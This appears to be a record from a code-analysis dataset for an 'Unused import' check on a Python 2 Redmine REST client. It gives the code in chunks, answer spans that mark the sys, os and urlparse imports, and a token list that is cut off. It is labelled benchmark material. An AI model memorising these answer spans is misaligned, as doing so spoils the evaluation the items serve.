",_", "minute_", ",_", "second_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
JetBrains/youtrack-rest-python-library/python/redmine/client.py
[ { "content": "import sys\nimport os\nfrom pyactiveresource.activeresource import ActiveResource\nfrom pyactiveresource.connection import ResourceNotFound, MethodNotAllowed\nimport urlparse\nimport pprint\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class RedmineResource(ActiveResource):\n", "metadata": "root.RedmineResource", "header": "['module', '___EOS___']", "index": 8 }, { "content": " def __init__(self, attributes=None, prefix_options=None):\n if isinstance(attributes, basestring):\n self.name = attributes\n super(RedmineResource, self).__init__(attributes, prefix_options)", "metadata": "root.RedmineResource.__init__", "header": "['class', 'RedmineResource', '(', 'ActiveResource', ')', ':', '___EOS___']", "index": 9 }, { "content": " def __repr__(self):\n return pprint.pformat(self.attributes, indent=2, width=140)", "metadata": "root.RedmineResource.__repr__", "header": "['class', 'RedmineResource', '(', 'ActiveResource', ')', ':', '___EOS___']", "index": 14 }, { "content": "class Project(RedmineResource): pass", "metadata": "root.Project", "header": "['module', '___EOS___']", "index": 18 }, { "content": "class Issue(RedmineResource): pass", "metadata": "root.Issue", "header": "['module', '___EOS___']", "index": 20 }, { "content": "class Group(RedmineResource): pass", "metadata": "root.Group", "header": "['module', '___EOS___']", "index": 22 }, { "content": "class User(RedmineResource): pass", "metadata": "root.User", "header": "['module', '___EOS___']", "index": 24 }, { "content": "class Membership(RedmineResource): pass", "metadata": "root.Membership", "header": "['module', '___EOS___']", "index": 26 }, { "content": "class Role(RedmineResource): pass", "metadata": "root.Role", "header": "['module', '___EOS___']", "index": 28 }, { "content": "class Version(RedmineResource): pass", "metadata": "root.Version", "header": "['module', '___EOS___']", "index": 30 }, { "content": "class IssueCategory(RedmineResource): pass", "metadata": "root.IssueCategory", "header": "['module', '___EOS___']", "index": 32 }, { "content": "class TimeEntry(RedmineResource): pass", "metadata": "root.TimeEntry", "header": "['module', '___EOS___']", "index": 34 }, { "content": "class Permission(RedmineResource): pass", "metadata": "root.Permission", "header": "['module', '___EOS___']", "index": 36 }, { "content": "class CustomField(RedmineResource): pass", "metadata": "root.CustomField", "header": "['module', '___EOS___']", "index": 38 }, { "content": "class RedmineException(Exception): pass", "metadata": "root.RedmineException", "header": "['module', '___EOS___']", "index": 43 }, { "content": "class RedmineClient(object):\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n", "metadata": "root.RedmineClient", "header": "['module', '___EOS___']", "index": 46 }, { "content": " def __init__(self, api_key, url, login, password):\n RedmineResource.site = url\n if api_key is not None:\n RedmineResource.headers = {'X-Redmine-API-Key': api_key}\n else:\n self._user = login\n self._password = password\n RedmineResource.user = login\n RedmineResource.password = password\n if not Membership.prefix_source.endswith('/'):\n Membership.prefix_source += '/'\n Membership.prefix_source += 'projects/$project_id'", "metadata": "root.RedmineClient.__init__", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 48 }, { "content": " @property\n def headers(self):\n headers = {}\n if RedmineResource.headers:\n for name, value in RedmineResource.headers.items():\n headers[name] = value\n if RedmineResource.connection.auth:\n headers['Authorization'] = 'Basic ' + RedmineResource.connection.auth\n return headers", "metadata": "root.RedmineClient.headers", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 61 }, { "content": " def get_project(self, project_id):\n try:\n return Project.find(project_id)\n except ResourceNotFound:\n raise RedmineException(\n \"Project '%s' doesn't exist in Redmine\" % project_id)", "metadata": "root.RedmineClient.get_project", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 71 }, { "content": " def get_projects(self, project_ids=None):\n if project_ids:\n return [self.get_project(id_) for id_ in project_ids]\n return Project.find()", "metadata": "root.RedmineClient.get_projects", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 78 }, { "content": " def get_issues(self, project_id=None):\n return Issue.find(None, None, project_id=project_id)", "metadata": "root.RedmineClient.get_issues", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 84 }, { "content": " def get_issue_details(self, issue_id):\n return Issue.find(issue_id,\n include='journals,assigned_to_id,attachments,children,relations')", "metadata": "root.RedmineClient.get_issue_details", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 87 }, { "content": " def get_project_issues(self, _id, _limit=None, _offset=None):\n return_data = []\n if _limit:\n if _offset is None:\n _offset = 0\n issues = Issue.find(None, None, project_id=_id,\n limit=_limit, offset=_offset, sort='id', status_id='*')\n elif _offset:\n issues = Issue.find(None, None, project_id=_id,\n offset=_offset, sort='id', status_id='*')\n else:\n issues = Issue.find(None, None, project_id=_id, sort='id', status_id='*')\n for issue_id in [issue.id for issue in issues]:\n return_data.append(self.get_issue_details(issue_id))\n return return_data", "metadata": "root.RedmineClient.get_project_issues", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 91 }, { "content": " def get_user(self, user_id):\n return User.find(user_id, None, include='groups')", "metadata": "root.RedmineClient.get_user", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 108 }, { "content": " def get_users(self, user_ids=None):\n if user_ids:\n return [self.get_user(uid) for uid in user_ids]\n return User.find(None, None, include='groups')", "metadata": "root.RedmineClient.get_users", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 111 }, { "content": " def get_groups(self):\n return Group.find()", "metadata": "root.RedmineClient.get_groups", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 116 }, { "content": " def get_project_members(self, id_):\n return Membership.find(None, None, project_id=id_)", "metadata": "root.RedmineClient.get_project_members", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 119 }, { "content": " def get_roles(self):\n roles = Role.find()\n for role in roles:\n try:\n role.attributes['permissions'] = Role().find(role.id).permissions\n except (ResourceNotFound, MethodNotAllowed):\n print \"WARN: Can't get permissions for roles.\"\n print \"WARN: This Redmine version doesn't support this feature.\"\n break\n return roles", "metadata": "root.RedmineClient.get_roles", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 123 }, { "content": " def get_category(self, id_):\n return IssueCategory.find(id_)", "metadata": "root.RedmineClient.get_category", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 134 }, { "content": " def get_version(self, id_):\n return Version.find(id_)", "metadata": "root.RedmineClient.get_version", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 137 }, { "content": " def get_time_entries(self, issue_id):\n return TimeEntry.find(None, None, issue_id=issue_id)", "metadata": "root.RedmineClient.get_time_entries", "header": "['class', 'RedmineClient', '(', 'object', ')', ':', '___EOS___']", "index": 140 } ]
[ { "span": "import sys", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 10 }, { "span": "import os", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 9 }, { "span": "import urlparse", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pya", "ctive", "resource_", "._", "active", "resource_", "import_", "Activ", "e", "Resource_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pya", "ctive", "resource_", "._", "connection_", "import_", "Reso", "urc", "e", "Not", "Found_", ",_", "Meth", "od", "Not", "Allowed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urlparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pprint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Red", "mine", "Resource_", "(_", "Activ", "e", "Resource_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Resource_", "(_", "Activ", "e", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "attributes_", "=_", "None_", ",_", "prefix", "\\u", "options_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "attributes_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "name_", "=_", "attributes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "super_", "(_", "Red", "mine", "Resource_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "attributes_", ",_", "prefix", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Resource_", "(_", "Activ", "e", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "pprint_", "._", "pformat_", "(_", "self_", "._", "attributes_", ",_", "indent_", "=_", "2_", ",_", "width_", "=_", "140_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Project_", "(_", "Red", "mine", "Resource_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Issue_", "(_", "Red", "mine", "Resource_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Group_", "(_", "Red", "mine", "Resource_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "User_", "(_", "Red", "mine", "Resource_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Membership", "_", "(_", "Red", "mine", "Resource_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Role_", "(_", "Red", "mine", "Resource_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Version_", "(_", "Red", "mine", "Resource_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Issue", "Category_", "(_", "Red", "mine", "Resource_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Time", "Entry_", "(_", "Red", "mine", "Resource_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Permission_", "(_", "Red", "mine", "Resource_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Custom", "Field_", "(_", "Red", "mine", "Resource_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Red", "mine", "Exception_", "(_", "Exception_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "api", "\\u", "key_", ",_", "url_", ",_", "login_", ",_", "password_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Red", "mine", "Resource_", "._", "site_", "=_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "api", "\\u", "key_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Red", "mine", "Resource_", "._", "headers_", "=_", "{_", "'", "X", "-", "Red", "mine", "-", "API", "-", "Key", "'_", ":_", "api", "\\u", "key_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "user_", "=_", "login_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "password_", "=_", "password_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Red", "mine", "Resource_", "._", "user_", "=_", "login_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Red", "mine", "Resource_", "._", "password_", "=_", "password_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "Membership", "_", "._", "prefix", "\\u", "source_", "._", "endswith_", "(_", "'/'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Membership", "_", "._", "prefix", "\\u", "source_", "+=_", "'/'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Membership", "_", "._", "prefix", "\\u", "source_", "+=_", "'", "project", "s", "/$", "project", "\\u", "id", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "headers_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Red", "mine", "Resource_", "._", "headers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "name_", ",_", "value_", "in_", "Red", "mine", "Resource_", "._", "headers_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "[_", "name_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "Red", "mine", "Resource_", "._", "connection_", "._", "auth_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "[_", "'", "Authoriz", "ation", "'_", "]_", "=_", "'", "Basic", " ", "'_", "+_", "Red", "mine", "Resource_", "._", "connection_", "._", "auth_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "headers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "project_", "(_", "self_", ",_", "project", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Project_", "._", "find_", "(_", "project", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Reso", "urc", "e", "Not", "Found_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Red", "mine", "Exception_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Project", " ", "'%", "s", "'", " ", "doe", "sn", "'", "t", " ", "exist", " ", "in", " ", "Red", "mine", "\"_", "%_", "project", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "projects_", "(_", "self_", ",_", "project", "\\u", "ids_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "project", "\\u", "ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "self_", "._", "get", "\\u", "project_", "(_", "id\\u_", ")_", "for_", "id\\u_", "in_", "project", "\\u", "ids_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Project_", "._", "find_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "issues_", "(_", "self_", ",_", "project", "\\u", "id_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Issue_", "._", "find_", "(_", "None_", ",_", "None_", ",_", "project", "\\u", "id_", "=_", "project", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "issue", "\\u", "details_", "(_", "self_", ",_", "issue", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Issue_", "._", "find_", "(_", "issue", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "include_", "=_", "'", "journal", "s", ",", "assign", "ed", "\\u", "to", "\\u", "id", ",", "attach", "ment", "s", ",", "child", "ren", ",", "relation", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "project", "\\u", "issues_", "(_", "self_", ",_", "\\u", "id_", ",_", "\\u", "limit_", "=_", "None_", ",_", "\\u", "offset_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return", "\\u", "data_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "limit_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\\u", "offset_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "offset_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "issues_", "=_", "Issue_", "._", "find_", "(_", "None_", ",_", "None_", ",_", "project", "\\u", "id_", "=_", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "limit_", "=_", "\\u", "limit_", ",_", "offset_", "=_", "\\u", "offset_", ",_", "sort_", "=_", "'", "id", "'_", ",_", "status", "\\u", "id_", "=_", "'*'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "\\u", "offset_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "issues_", "=_", "Issue_", "._", "find_", "(_", "None_", ",_", "None_", ",_", "project", "\\u", "id_", "=_", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "offset_", "=_", "\\u", "offset_", ",_", "sort_", "=_", "'", "id", "'_", ",_", "status", "\\u", "id_", "=_", "'*'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "issues_", "=_", "Issue_", "._", "find_", "(_", "None_", ",_", "None_", ",_", "project", "\\u", "id_", "=_", "\\u", "id_", ",_", "sort_", "=_", "'", "id", "'_", ",_", "status", "\\u", "id_", "=_", "'*'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 